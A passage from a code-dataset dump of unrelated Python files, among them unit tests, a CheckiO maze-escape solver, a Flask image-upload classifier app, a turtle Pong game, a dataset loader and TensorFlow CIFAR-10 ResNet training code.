self.assertFalse(mysql_db_admin._proc_some_tbls(\n self.server, self.func_name, self.db_list, self.db_name2,\n self.tbl_name2, self.version))\n\n @mock.patch(\"mysql_db_admin.detect_dbs\", mock.Mock(return_value=True))\n @mock.patch(\"mysql_db_admin.mysql_libs.fetch_tbl_dict\",\n mock.Mock(return_value=True))\n @mock.patch(\"mysql_db_admin.gen_libs.dict_2_list\")\n def test_all_tbls(self, mock_list):\n\n \"\"\"Function: test_all_tbls\n\n Description: Test with processing all tables.\n\n Arguments:\n\n \"\"\"\n\n mock_list.return_value = [\"tbl1\", \"tbl2\"]\n\n self.assertFalse(mysql_db_admin._proc_some_tbls(\n self.server, self.func_name, self.db_list, self.db_name,\n self.tbl_name, self.version))\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"test/unit/mysql_db_admin/proc_some_tbls.py","file_name":"proc_some_tbls.py","file_ext":"py","file_size_in_byte":6778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"55853983","text":"import unittest\n\nfrom mock import Mock\nfrom mock import patch\n\nfrom urbandict import define\n\n\nclass DefineTest(unittest.TestCase):\n\n EASY = open('fixtures/easy.html').read().encode('utf-8')\n SHORT = open('fixtures/short.html').read().encode('utf-8')\n\n @patch('urbandict.urlopen')\n def test_can_run_twice_and_get_different_results(self, urlopen):\n urlopen.return_value = Mock(read=lambda: self.EASY)\n self.assertEqual({'word': 'easy',\n 'example': 'Teacher: DO YOUR WORK NOW!!!!'\n 'Student: Easy.....',\n 'def': 'A way to say calm the fuck down without '\n 'getting in trouble, you little shit.......'},\n define('easy')[0])\n\n urlopen.return_value = Mock(read=lambda: self.SHORT)\n self.assertEqual({'word': 'short', 'example': '',\n 'def': 'Someone under the 25th percentile for '\n 'stature for their age, sex, and country.\\n'\n \"(5'7 and under for men and 5'2 and under for \"\n 'women in the US)'}, define('short')[0])\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"511261258","text":"import collections, heapq\n\nDIRS = {\"N\": -4, \"S\": 4, \"E\": 1, \"W\": -1}\nNode = collections.namedtuple(\"Node\", [\"heuristic\", 'gheuristic', \"step\", \"tr\", \"pos\", 'gpos', \"prev\", 'direction'])\n\ndef heuristic(pos, goal):\n \n return abs(((pos - 1) % 4) - ((goal - 1) % 4)) + abs((pos-1)//4 - (goal-1)//4)\n\ndef checkio(house, stephan, ghost, steps=30):\n \n #g_map = Node(heuristic(ghost, stephan), 30, 0, ghost, None)\n if stephan == 1:\n return \"N\"\n \n goal = 1\n \n s_map = [Node(heuristic(stephan, goal), -heuristic(ghost, stephan), 30, 0, stephan, ghost, None, None)]\n \n previous = []\n #s_node = []\n \n while s_map:\n \n s_node = heapq.heappop(s_map)\n moves = ''\n previous.append((s_node.pos, s_node.gpos, s_node.tr))\n #print(s_node)\n \n if s_node.pos == goal:\n print(\"This should execute\")\n break\n if s_node.step == 10:\n continue\n \n if (len(house[s_node.pos - 1]) + s_node.pos % 4 == 3 or \\\n len(house[s_node.pos - 1]) + (s_node.pos + 1) % 4 == 3) and \\\n s_node.prev is not None:\n continue\n \n \n for direction in DIRS:\n \n \n \n move = s_node.pos + DIRS[direction]\n \n \n \n if direction in house[s_node.pos - 1]: #Checks for walls\n continue\n \n \n elif ((direction == \"W\" and s_node.pos % 4 == 1) or (direction == \"E\" and s_node.pos % 4 == 0) or \\\n (s_node.pos < 1) or (s_node.pos > 16)) or (direction == \"N\" and s_node.pos <= 4) or \\\n (direction == \"S\" and s_node.pos >= 13): #Checks out-of-bounds\n continue \n \n \n \n ghost_moves = [] \n for gdir in DIRS:\n\n gmove = s_node.gpos + DIRS[gdir]\n \n \"\"\"if heuristic(gmove, move) > s_node.gheuristic:\n print(\"gmove gets farther\", gdir)\n continue\n \n if gmove == move:\n continue\"\"\"\n \n if gdir in house[s_node.gpos - 1]: #Checks for walls\n continue\n \n elif ((gdir == \"W\" and s_node.gpos % 4 == 1) or (gdir == \"E\" and s_node.gpos % 4 == 0) or \\\n (s_node.gpos < 1) or (s_node.gpos > 16)) or (gdir == \"N\" and s_node.gpos <= 4) or \\\n (gdir == \"S\" and s_node.gpos >= 13): #Checks out-of-bounds\n continue\n else: ghost_moves.append([heuristic(gmove, move), gmove])\n #print(direction, s_node.gpos)\n ghost_moves.sort()\n \n #print(\"Huh\", direction, ghost_moves)\n if ghost_moves[0][1] == move: # and s_node.prev is None:\n continue\n #print(\"What\", direction, gdir)\n if (move, ghost_moves[0][1], s_node.tr + 1) not in previous:\n new_s_node = Node(-(heuristic(move, goal) - ghost_moves[0][0]), -ghost_moves[0][0], s_node.step - 1, s_node.tr + 1, move, ghost_moves[0][1], s_node, direction)\n heapq.heappush(s_map, new_s_node)\n \n if len(ghost_moves) > 1:\n if ghost_moves[0][0] == ghost_moves[1][0] and (move, ghost_moves[1][1], s_node.tr + 1) not in previous:\n new_s_node = Node(-(heuristic(move, goal) - ghost_moves[1][0]), -ghost_moves[1][0], s_node.step - 1, s_node.tr + 1, move, ghost_moves[1][1], s_node, direction)\n else:\n print(\"This shouldn't execute\", previous)\n \n \n \n print(s_node, \"Does it work?\")\n \n \n while s_node.prev.prev is not None:\n \n print(\"Stephan:\", s_node.pos, \"Ghost\", s_node.gpos) \n s_node = s_node.prev\n #print(s_node.direction, 'direction')\n \n print(\"Stephan:\", s_node.pos, \"Ghost\", s_node.gpos) \n print(\"Stephan:\", s_node.prev.pos, \"Ghost\", s_node.prev.gpos) \n \n return s_node.direction\n \n \n \n \n \n\n\"\"\"def reverse(direction):\n if direction == \"N\":\n return \"S\"\n if direction == \"S\":\n return \"N\"\n if direction == \"E\":\n return \"W\"\n if direction == \"W\":\n return \"E\"#\"\"\"\n\n\"\"\"def heuristic(spaces, pos, goal, starting_value=16, house=[]):\n #print(len(house))\n if not house:\n house = [x*0 for x in range(len(spaces))]\n #print(pos, starting_value)\n house[pos-1] += starting_value*((house[pos-1] < starting_value)+(house[pos-1] >= starting_value))\n \n next_value = (starting_value**(1/2))//1\n \n #mover = \"\"\n #print (house)\n test = 0\n \n for direction in DIRS:\n \n test = DIRS[direction]\n move = pos + test\n if direction in spaces[pos - 1]:\n #print('pos ran into a closed door. It was hurt.')\n pass\n \n \n elif ((direction == \"W\" and pos % 4 == 1) or (direction == \"E\" and pos % 4 == 0) or\n (pos < 1) or (pos > 16)) or (direction == \"N\" and pos <= 4) or (direction == \"S\" and pos >= 13):\n pass \n \n elif pos + test == goal: #any(map(lambda s, g: s == g + DIRS[direction]*c for c in range(4), stephan, ghost)):\n #print(\"Goal Close by!\")\n house = heuristic(spaces, goal, move, next_value*1.5, house)\n #print (house)\n #house = heuristic(spaces, move, goal, starting_value, house)\n pass\n elif starting_value > 2:\n #print(starting_value, pos)\n house = heuristic(spaces, move, goal, next_value, house)\n if starting_value > 16: \n #print(house) \n pass\n return house #heuristic(spaces, move, goal, next_value)\n \n\ndef checkio(house, stephan, ghost, steps=30):\n #print(heuristic(house, ghost, stephan))\n test = 0\n ghost_distance = heuristic(house, ghost, stephan, starting_value=320)\n house.extend(['','','','',''])\n house[ghost-1] = \"NWSE\"\n house[ghost-5] += \"S\"\n house[(ghost+3)] += \"N\"\n house[ghost] += \"W\"\n house[ghost-2] += \"E\"\n print(house)\n goalh = heuristic(house, 1, 16, starting_value=1280000000000000)\n \n gh = heuristic(house, stephan, 1, starting_value=32)\n influence = list(map((lambda x, y, z: x + y - z), gh, goalh, ghost_distance))\n meh = influence #list(zip([str(x) for x in range(1, len(house)+1)], influence))\n\n mover = \"\"\n moves = (\"0\", -1000)\n print(gh)#\n print(\"goalh\", goalh)\n for direction in DIRS:\n \n test = DIRS[direction] + stephan\n if direction in house[stephan - 1]:\n #print('Stefan ran into a closed door. It was hurt.')\n continue\n \n elif stephan == 1:\n print('Stefan has escaped.')\n return \"N\"\n \n elif ((direction == \"W\" and stephan % 4 == 1) or (direction == \"E\" and stephan % 4 == 0) or\n (stephan < 1) or (stephan > 16)) or (direction == \"N\" and stephan <= 4) or (direction == \"S\" and stephan >= 13):\n pass #print('Stefan has gone out into the darkness.', direction)\n #break\n elif test == ghost: #any(map(lambda s, g: s == g + DIRS[direction]*c for c in range(4), stephan, ghost)):\n print(\"Ghost Close by!\")\n pass\n elif moves[1] < influence[test-1]:\n mover += direction\n #print(mover, test, influence[test-1], moves, len(influence))\n moves = (direction, influence[test - 1])\n \n #print(moves)#sorted(moves, key= lambda x: x[1]), \"sort\")\n \n return moves[0]\n \n sx, sy = (stephan - 1) % 4, (stephan - 1) // 4\n ghost_dirs = [ch for ch in \"NWES\" if ch not in house[ghost - 1]]\n if ghost % 4 == 1 and \"W\" in ghost_dirs:\n ghost_dirs.remove(\"W\")\n if not ghost % 4 and \"E\" in ghost_dirs:\n ghost_dirs.remove(\"E\")\n if ghost <= 4 and \"N\" in ghost_dirs:\n ghost_dirs.remove(\"N\")\n if ghost > 12 and \"S\" in ghost_dirs:\n ghost_dirs.remove(\"S\")\n\n ghost_dir, ghost_dist = \"\", 1000\n for d in ghost_dirs:\n new_ghost = ghost + DIRS[d]\n gx, gy = (new_ghost - 1) % 4, (new_ghost - 1) // 4\n dist = (gx - sx) ** 2 + (gy - sy) ** 2\n if ghost_dist > dist:\n ghost_dir, ghost_dist = d, dist\n elif ghost_dist == dist:\n ghost_dir += d\n ghost_move = choice(ghost_dir)\n ghost += DIRS[ghost_move]\n if ghost == stephan:\n print('The ghost caught Stephan.')\n return False\n print(\"Too many moves.\")\n return False#\"\"\"\n\n \n\n\nif __name__ == '__main__':\n #This part is using only for self-checking and not necessary for auto-testing\n from random import choice\n\n DIRS = {\"N\": -4, \"S\": 4, \"E\": 1, \"W\": -1}\n\n def check_solution(func, house):\n stephan = 16\n ghost = 1\n for step in range(30):\n direction = func(house[:], stephan, ghost)\n if direction in house[stephan - 1]:\n print('Stefan ran into a closed door. It was hurt.')\n return False\n if stephan == 1 and direction == \"N\":\n print('Stefan has escaped.')\n return True\n stephan += DIRS[direction]\n if ((direction == \"W\" and stephan % 4 == 0) or (direction == \"E\" and stephan % 4 == 1) or\n (stephan < 1) or (stephan > 16)):\n print('Stefan has gone out into the darkness.')\n return False\n sx, sy = (stephan - 1) % 4, (stephan - 1) // 4\n ghost_dirs = [ch for ch in \"NWES\" if ch not in house[ghost - 1]]\n if ghost % 4 == 1 and \"W\" in ghost_dirs:\n ghost_dirs.remove(\"W\")\n if not ghost % 4 and \"E\" in ghost_dirs:\n ghost_dirs.remove(\"E\")\n if ghost <= 4 and \"N\" in ghost_dirs:\n ghost_dirs.remove(\"N\")\n if ghost > 12 and \"S\" in ghost_dirs:\n ghost_dirs.remove(\"S\")\n\n ghost_dir, ghost_dist = \"\", 1000\n for d in ghost_dirs:\n new_ghost = ghost + DIRS[d]\n gx, gy = (new_ghost - 1) % 4, (new_ghost - 1) // 4\n dist = (gx - sx) ** 2 + (gy - sy) ** 2\n if ghost_dist > dist:\n ghost_dir, ghost_dist = d, dist\n elif ghost_dist == dist:\n ghost_dir += d\n ghost_move = choice(ghost_dir)\n ghost += DIRS[ghost_move]\n if ghost == stephan:\n print('The ghost caught Stephan.')\n return False\n print(\"Too many moves.\")\n return False\n\n assert check_solution(checkio,\n [\"\", \"S\", \"S\", \"\",\n \"E\", \"NW\", \"NS\", \"\",\n \"E\", \"WS\", \"NS\", \"\",\n \"\", \"N\", \"N\", \"\"]), \"1st example\"\n assert check_solution(checkio,\n [\"\", \"\", \"\", \"\",\n \"E\", \"ESW\", \"ESW\", \"W\",\n \"E\", \"ENW\", \"ENW\", \"W\",\n \"\", \"\", \"\", \"\"]), \"2nd example\"\n","sub_path":"haunted-house.py","file_name":"haunted-house.py","file_ext":"py","file_size_in_byte":11786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"342070063","text":"import os, datetime\nfrom werkzeug.utils import secure_filename\nfrom flask import Flask, render_template, send_from_directory, make_response, request, redirect, url_for\nfrom detector import initialize, what_is_it\n\nUPLOAD_FOLDER = 'static/input'\nALLOWED_EXTENSIONS = set(['bmp', 'gif', 'jpeg', 'jpg', 'png'])\n\napp = Flask(__name__, template_folder='templates', static_folder='static')\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['ALLOWED_EXTENSIONS'] = ALLOWED_EXTENSIONS\ninitialize(app)\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit(\n '.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\ndef upload_file():\n try:\n file = request.files['input-photo']\n except:\n file = None\n\n if file and allowed_file(file.filename):\n format = \"%Y%m%dT%H%M%S\"\n now = datetime.datetime.utcnow().strftime(format)\n filename = now + '_' + file.filename\n filename = secure_filename(filename)\n filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n file.save(filepath)\n file_uploaded = True\n\n else:\n filepath = None\n file_uploaded = False\n\n return file_uploaded, filepath, filename\n\n\n@app.route('/results', methods=[\"POST\"])\ndef results():\n file_uploaded, filepath, filename = upload_file()\n\n if file_uploaded:\n species, breed = what_is_it(filepath)\n return render_template('results.html',\n filename=filename,\n species=species,\n breed=breed)\n\n@app.route('/')\ndef landing_page():\n return render_template('input.html')\n\n@app.route('/favicon.ico')\ndef favicon():\n return send_from_directory(os.path.join(app.root_path, 'static/img'),\n 'favicon.ico',\n mimetype='image/vnd.microsoft.icon')\n\n\nif __name__ == '__main__':\n # Do not edit.\n app.run(host='0.0.0.0', port=3001, debug=False, threaded=False)","sub_path":"web_app/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"194066274","text":"lst = [1, 2, 5, 8, 9]\n\nnr = 10\n\ndef el_search():\n\tTruth = nr in lst\n\tif Truth:\n\t\tprint(\"The number is inside the list.\")\n\telse:\n\t\tprint(\"Number is not in the list.\")\n\nel_search()","sub_path":"python exercices/element_search.py","file_name":"element_search.py","file_ext":"py","file_size_in_byte":178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"181587706","text":"from sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\nimport random\nimport numpy as np\n\nclass Abalone_loader(object):\n def __init__(self):\n self.name = \"Abalone_loader\"\n pass\n def load(self):\n column_names = [\"sex\", \"length\", \"diameter\", \"height\", \"whole weight\",\n \"shucked weight\", \"viscera weight\", \"shell weight\", \"rings\"]\n data = pd.read_csv(\"./datasets/abalone2.data\", names=column_names)\n # print(\"Number of samples: %d\" % len(data))\n\n # for more complicated cases use sklearn.feature_extraction.DictVectorizer\n for label in \"MFI\":\n data[label] = data[\"sex\"] == label\n del data[\"sex\"]\n # print(data.head())\n\n data[\"M\"] = pd.Series(np.where(data.M.values == True, int(1), int(0)), data.index)\n data[\"F\"] = pd.Series(np.where(data.F.values == True, int(1), int(0)), data.index)\n data[\"I\"] = pd.Series(np.where(data.I.values == True, int(1), int(0)), data.index)\n\n y = data.rings.values\n\n del data[\"rings\"] # remove rings from data, so we can convert all the dataframe to a numpy 2D array.\n X = data.values.astype(np.float)\n\n x_train, x_test, y_train, y_test = train_test_split(X, y, test_size=0.25,random_state=4)\n print(\"the Abalone dataset has been loaded \\n\")\n\n\n\n return x_train, x_test, y_train, y_test\n","sub_path":"build/lib/accuracy_drop_proj/utilities/load_dataset/abalone_loader.py","file_name":"abalone_loader.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"633340211","text":"import turtle as T\r\n\r\nwin = T.Screen()\r\nwin.title(\"Pong\")\r\nwin.bgcolor(\"black\")\r\nwin.setup(width=800, height=600)\r\nwin.tracer(0)\r\n\r\n# Score\r\nscore_a = 0\r\nscore_b = 0\r\n\r\n# Paddle A\r\npaddle_a = T.Turtle()\r\npaddle_a.speed(0)\r\npaddle_a.shape(\"square\")\r\npaddle_a.color(\"white\")\r\npaddle_a.shapesize(stretch_wid=5, stretch_len=1)\r\npaddle_a.penup()\r\npaddle_a.goto(-350, 0)\r\n\r\n# Paddle B\r\npaddle_b = T.Turtle()\r\npaddle_b.speed(0)\r\npaddle_b.shape(\"square\")\r\npaddle_b.color(\"white\")\r\npaddle_b.shapesize(stretch_wid=5, stretch_len=1)\r\npaddle_b.penup()\r\npaddle_b.goto(350, 0)\r\n\r\n# Ball\r\nball = T.Turtle()\r\nball.speed(0)\r\nball.shape(\"square\")\r\nball.color(\"white\")\r\nball.penup()\r\nball.goto(0, 0)\r\nball.dx = 0.2\r\nball.dy = -0.2\r\n\r\n# Pen\r\npen = T.Turtle()\r\npen.speed(0)\r\npen.color(\"white\")\r\npen.penup()\r\npen.hideturtle()\r\npen.goto(0, 260)\r\npen.write(\"Player A: 0 Player B: 0\", align=\"center\",\r\n font=(\"Courier\", 15, \"normal\"))\r\n\r\n\r\n# Paddle A Func\r\ndef paddle_a_up():\r\n y = paddle_a.ycor()\r\n y += 20\r\n paddle_a.sety(y)\r\n\r\n\r\ndef paddle_a_down():\r\n y = paddle_a.ycor()\r\n y -= 20\r\n paddle_a.sety(y)\r\n\r\n\r\n# Paddle b Func\r\ndef paddle_b_up():\r\n y = paddle_b.ycor()\r\n y += 20\r\n paddle_b.sety(y)\r\n\r\n\r\ndef paddle_b_down():\r\n y = paddle_b.ycor()\r\n y -= 20\r\n paddle_b.sety(y)\r\n\r\n\r\nwin.listen()\r\nwin.onkeypress(paddle_a_up, \"w\")\r\nwin.onkeypress(paddle_a_down, \"s\")\r\nwin.onkeypress(paddle_b_up, \"Up\")\r\nwin.onkeypress(paddle_b_down, \"Down\")\r\n\r\n\r\nwhile True:\r\n win.update()\r\n\r\n ball.setx(ball.xcor() + ball.dx)\r\n ball.sety(ball.ycor() + ball.dy)\r\n\r\n if ball.ycor() > 290:\r\n ball.sety(290)\r\n ball.dy *= -1\r\n\r\n if ball.ycor() < -290:\r\n ball.sety(-290)\r\n ball.dy *= -1\r\n\r\n if ball.xcor() > 390:\r\n ball.goto(0, 0)\r\n ball.dx *= -1\r\n score_a += 1\r\n pen.clear()\r\n pen.write(f\"Player A: {score_a} Player B: {score_b}\", align=\"center\",\r\n font=(\"Courier\", 15, \"normal\"))\r\n\r\n if ball.xcor() < -390:\r\n ball.goto(0, 0)\r\n ball.dx *= -1\r\n score_b += 1\r\n pen.clear()\r\n pen.write(f\"Player A: {score_a} Player B: {score_b}\", align=\"center\",\r\n font=(\"Courier\", 15, \"normal\"))\r\n\r\n if (ball.xcor() > 340 and ball.xcor() < 350) and (ball.ycor() < paddle_b.ycor() + 40 and ball.ycor() > paddle_b.ycor() - 40):\r\n ball.setx(340)\r\n ball.dx *= -1\r\n\r\n if (ball.xcor() < -340 and ball.xcor() > -350) and (ball.ycor() < paddle_a.ycor() + 40 and ball.ycor() > paddle_a.ycor() - 40):\r\n ball.setx(-340)\r\n ball.dx *= -1\r\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"131794076","text":"\n# When a generator function is called, it returns an generator object without\n# even beginning execution of the function. When next() method is called for the\n# first time, the function starts executing until it reaches yield statement which\n# returns the yielded value. The yield keeps track of i.e. remembers last execution.\n# And second next() call continues from previous value\n\n\ndef squares(start, stop):\n for i in range(start, stop):\n yield i * i\n\ngenerator = squares(1, 10)\n\nprint(list(generator))\n\n\nclass Squares(object):\n def __init__(self, start, stop):\n self.start = start\n self.stop = stop\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if self.start >= self.stop:\n raise StopIteration\n current = self.start * self.start\n self.start += 1\n return current\n\n\niterator = Squares(1, 10)\n\nl = [next(iterator) for _ in range(1,10)]\nprint(l)\n","sub_path":"python/concepts/data_structures/iterator_vs_generator.py","file_name":"iterator_vs_generator.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"215015872","text":"from read_file import ReadFile\nfrom solver import Solver\n\n\ndef main(filename: str):\n read_file = ReadFile(filename)\n read_file.load_file()\n n, m, B, T, F, products, materials = read_file.split_file()\n\n solver = Solver(n, m, B, T, F, products, materials)\n solver.init_variables()\n solver.create_restriction()\n solver.set_function_objective()\n solver.print_solution()\n\n\nif __name__ == '__main__':\n file = 'data.txt'\n main(file)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"173446568","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb 7 13:29:19 2020\r\n\r\n@author: 29071\r\n\"\"\"\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport os # path join\r\n \r\n#os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\r\n\r\nBATCH_SIZE = 128 \r\n\r\ndef unpickle(file):\r\n import pickle\r\n with open(file, 'rb') as fo:\r\n dict = pickle.load(fo, encoding='bytes')\r\n return dict\r\n\r\ncifar_python_directory = os.path.abspath('cifar-10-batches-py')\r\n\r\ntrain_data_os = os.path.join(cifar_python_directory, 'data_batch_1')\r\ntrain_data_set = unpickle(train_data_os)\r\ntrain_data_ = train_data_set[b'data']\r\ntrain_labels_ = train_data_set[b'labels']\r\nfor i in range (2,6):\r\n train_data_os = os.path.join(cifar_python_directory, 'data_batch_'+str(i))\r\n print(train_data_os)\r\n train_data_set = unpickle(train_data_os)\r\n train_data_ = np.vstack((train_data_,train_data_set[b'data']))\r\n train_labels_ = train_labels_ + train_data_set[b'labels']\r\n \r\ntest_data_os = os.path.join(cifar_python_directory, 'test_batch')\r\ntest_data_set = unpickle(test_data_os)\r\n\r\ntest_data_ = test_data_set[b'data']\r\ntest_labels_ = test_data_set[b'labels']\r\n\r\n\r\ndef _parse_function(pic, label):\r\n pic = tf.reshape(pic, (3, 32, 32))\r\n pic = tf.transpose(pic, [1,2,0])\r\n pic = tf.image.resize_image_with_crop_or_pad(pic,40,40)\r\n pic = tf.image.random_flip_left_right(pic) \r\n pic = tf.random_crop(pic,[32,32,3])\r\n pic = tf.cast(pic,dtype=tf.float32)\r\n pic = tf.image.per_image_standardization(pic)\r\n label = tf.one_hot(label, depth=10, on_value=1.0, off_value=0.0)\r\n return pic, label\r\n\r\ndef _parse_function_for_test(pic, label):\r\n pic = tf.reshape(pic, (3, 32, 32))\r\n pic = tf.transpose(pic, [1,2,0])\r\n pic = tf.cast(pic,dtype=tf.float32)\r\n pic = tf.image.per_image_standardization(pic)\r\n label = tf.one_hot(label, depth=10, on_value=1.0, off_value=0.0)\r\n return pic, label\r\n\r\ndataset = tf.data.Dataset.from_tensor_slices((train_data_, train_labels_))\r\ndataset = dataset.map(_parse_function)\r\n# dataset = dataset.shuffle(buffer_size=10000)\r\ndataset = dataset.repeat()\r\ndataset = dataset.batch(batch_size=BATCH_SIZE)\r\niterator = dataset.make_initializable_iterator()\r\nnext_element = iterator.get_next()\r\n\r\ndataset_test = tf.data.Dataset.from_tensor_slices((test_data_, test_labels_))\r\ndataset_test = dataset_test.map(_parse_function_for_test)\r\n# dataset = dataset.shuffle(buffer_size=10000)\r\ndataset_test = dataset_test.repeat()\r\ndataset_test = dataset_test.batch(batch_size=BATCH_SIZE)\r\niterator_test = dataset_test.make_initializable_iterator()\r\nnext_element_test = iterator_test.get_next()\r\n##########################################\r\ninitializer = tf.contrib.layers.variance_scaling_initializer()\r\n\r\ndef bn_layer(x,training,name='BatchNorm',moving_decay=0.9,eps=1e-5):\r\n shape = x.shape\r\n assert len(shape) in [2,4]\r\n with tf.variable_scope(name):\r\n \r\n gamma = tf.Variable(1.,trainable=True, name='gamma')\r\n beta = tf.Variable(0.,trainable=True, name='beta')\r\n axes = list(range(len(shape)-1))\r\n batch_mean, batch_var = tf.nn.moments(x,axes,name='moments')\r\n ema1 = tf.train.ExponentialMovingAverage(moving_decay)\r\n ema2 = tf.train.ExponentialMovingAverage(moving_decay)\r\n def mean_var_with_update():\r\n ema_apply_op1 = ema1.apply([batch_mean])\r\n tf.add_to_collection(tf.GraphKeys.UPDATE_OPS, ema_apply_op1)\r\n ema_apply_op2 = ema2.apply([batch_var])\r\n tf.add_to_collection(tf.GraphKeys.UPDATE_OPS, ema_apply_op2)\r\n \r\n with tf.control_dependencies([ema_apply_op1,ema_apply_op2]):\r\n return tf.identity(batch_mean), tf.identity(batch_var)\r\n\r\n mean, var = tf.cond(tf.equal(training,True),mean_var_with_update,\r\n lambda:(ema1.average(batch_mean),ema2.average(batch_var)))\r\n\r\n inv = tf.math.rsqrt(var + eps)\r\n inv *= gamma\r\n bn = x * tf.cast(inv, x.dtype) + tf.cast(beta - mean * inv, x.dtype)\r\n return bn\r\n\r\ndef bn_layer_new(x,training,name='BatchNorm',moving_decay=0.9,eps=1e-5):\r\n shape = x.shape\r\n assert len(shape) in [2,4]\r\n\r\n with tf.variable_scope(name):\r\n \r\n gamma = tf.Variable(1.,trainable=True, name='gamma')\r\n beta = tf.Variable(0.,trainable=True, name='beta')\r\n\r\n axes = list(range(len(shape)-1))\r\n batch_mean, batch_var = tf.nn.moments(x,axes,name='moments')\r\n ema1 = tf.train.ExponentialMovingAverage(moving_decay)\r\n ema2 = tf.train.ExponentialMovingAverage(moving_decay)\r\n def mean_var_with_update():\r\n ema_apply_op1 = ema1.apply([batch_mean])\r\n tf.add_to_collection(tf.GraphKeys.UPDATE_OPS, ema_apply_op1)\r\n ema_apply_op2 = ema2.apply([batch_var])\r\n tf.add_to_collection(tf.GraphKeys.UPDATE_OPS, ema_apply_op2)\r\n \r\n with tf.control_dependencies([ema_apply_op1,ema_apply_op2]):\r\n return tf.identity(batch_mean), tf.identity(batch_var)\r\n\r\n mean, var = tf.cond(tf.equal(training,True),mean_var_with_update,\r\n lambda:(ema1.average(batch_mean),ema2.average(batch_var)))\r\n\r\n return mean,var,beta,gamma\r\ndef kernel_combine(kernel_33, kernel_13, kernel_31, mean_33, var_33, beta_33, gamma_33, mean_13, var_13, beta_13, gamma_13, mean_31, var_31, beta_31, gamma_31):\r\n var_33 = tf.math.rsqrt(var_33 + 1e-5)\r\n var_13 = tf.math.rsqrt(var_13 + 1e-5)\r\n var_31 = tf.math.rsqrt(var_31 + 1e-5)\r\n \r\n zero_matrix = tf.zeros(kernel_13.shape,dtype=tf.float32)\r\n oko_13 = tf.concat([zero_matrix,kernel_13,zero_matrix],0)\r\n zero_matrix = tf.zeros(kernel_31.shape,dtype=tf.float32)\r\n oko_31 = tf.concat([zero_matrix,kernel_31,zero_matrix],1) \r\n \r\n \r\n k_33 = gamma_33*var_33 * kernel_33 \r\n k_13 = gamma_13*var_13 * oko_13 \r\n k_31 = gamma_31*var_31 * oko_31 \r\n \r\n b = -mean_33*gamma_33*var_33+beta_33 -mean_13*gamma_13*var_13+beta_13 -mean_31*gamma_31*var_31+beta_31\r\n sum_up = tf.add(tf.add(k_33,k_13),k_31)\r\n return sum_up,b\r\n\r\n \r\ndef block(x,chanel,training):\r\n resadd = x\r\n kernel_1 = tf.Variable(initializer([3, 3, chanel, chanel], dtype=tf.float32))\r\n kernel_2 = tf.Variable(initializer([1, 3, chanel, chanel], dtype=tf.float32)) \r\n kernel_3 = tf.Variable(initializer([3, 1, chanel, chanel], dtype=tf.float32))\r\n mean_33,var_33,beta_33,gamma_33 = bn_layer_new(x , training=training) \r\n mean_13,var_13,beta_13,gamma_13 = bn_layer_new(x , training=training)\r\n mean_31,var_31,beta_31,gamma_31 = bn_layer_new(x , training=training) \r\n new_kernel,bias = kernel_combine(kernel_1,kernel_2,kernel_3,mean_33,var_33,beta_33,gamma_33,mean_13,var_13,beta_13,gamma_13,mean_31,var_31,beta_31,gamma_31) \r\n\r\n out = tf.nn.conv2d(x, new_kernel, [1, 1, 1, 1], padding='SAME') + bias\r\n out = tf.nn.relu(out)\r\n \r\n kernel_1 = tf.Variable(initializer([3, 3, chanel, chanel], dtype=tf.float32))\r\n kernel_2 = tf.Variable(initializer([1, 3, chanel, chanel], dtype=tf.float32)) \r\n kernel_3 = tf.Variable(initializer([3, 1, chanel, chanel], dtype=tf.float32))\r\n mean_33,var_33,beta_33,gamma_33 = bn_layer_new(out , training=training) \r\n mean_13,var_13,beta_13,gamma_13 = bn_layer_new(out , training=training)\r\n mean_31,var_31,beta_31,gamma_31 = bn_layer_new(out , training=training) \r\n new_kernel,bias = kernel_combine(kernel_1,kernel_2,kernel_3,mean_33,var_33,beta_33,gamma_33,mean_13,var_13,beta_13,gamma_13,mean_31,var_31,beta_31,gamma_31) \r\n\r\n out = tf.nn.conv2d(out, new_kernel, [1, 1, 1, 1], padding='SAME') + bias \r\n resadded = tf.add(out,resadd)\r\n\r\n return tf.nn.relu(resadded) \r\n\r\ndef block_short(x,chanel,training):\r\n kernel = tf.Variable(initializer([1, 1, int(chanel/2), chanel], dtype=tf.float32))\r\n out_short_cut = tf.nn.conv2d(x , kernel, [1, 2, 2, 1], padding='SAME')\r\n resadd = bn_layer(out_short_cut , training=training) \r\n \r\n kernel_1 = tf.Variable(initializer([3, 3, int(chanel/2), chanel], dtype=tf.float32))\r\n out_33 = tf.nn.conv2d(x, kernel_1, [1, 2, 2, 1], padding='SAME')\r\n out_33 = bn_layer(out_33 , training=training)\r\n \r\n out = out_33 \r\n out = tf.nn.relu(out)\r\n \r\n kernel_1 = 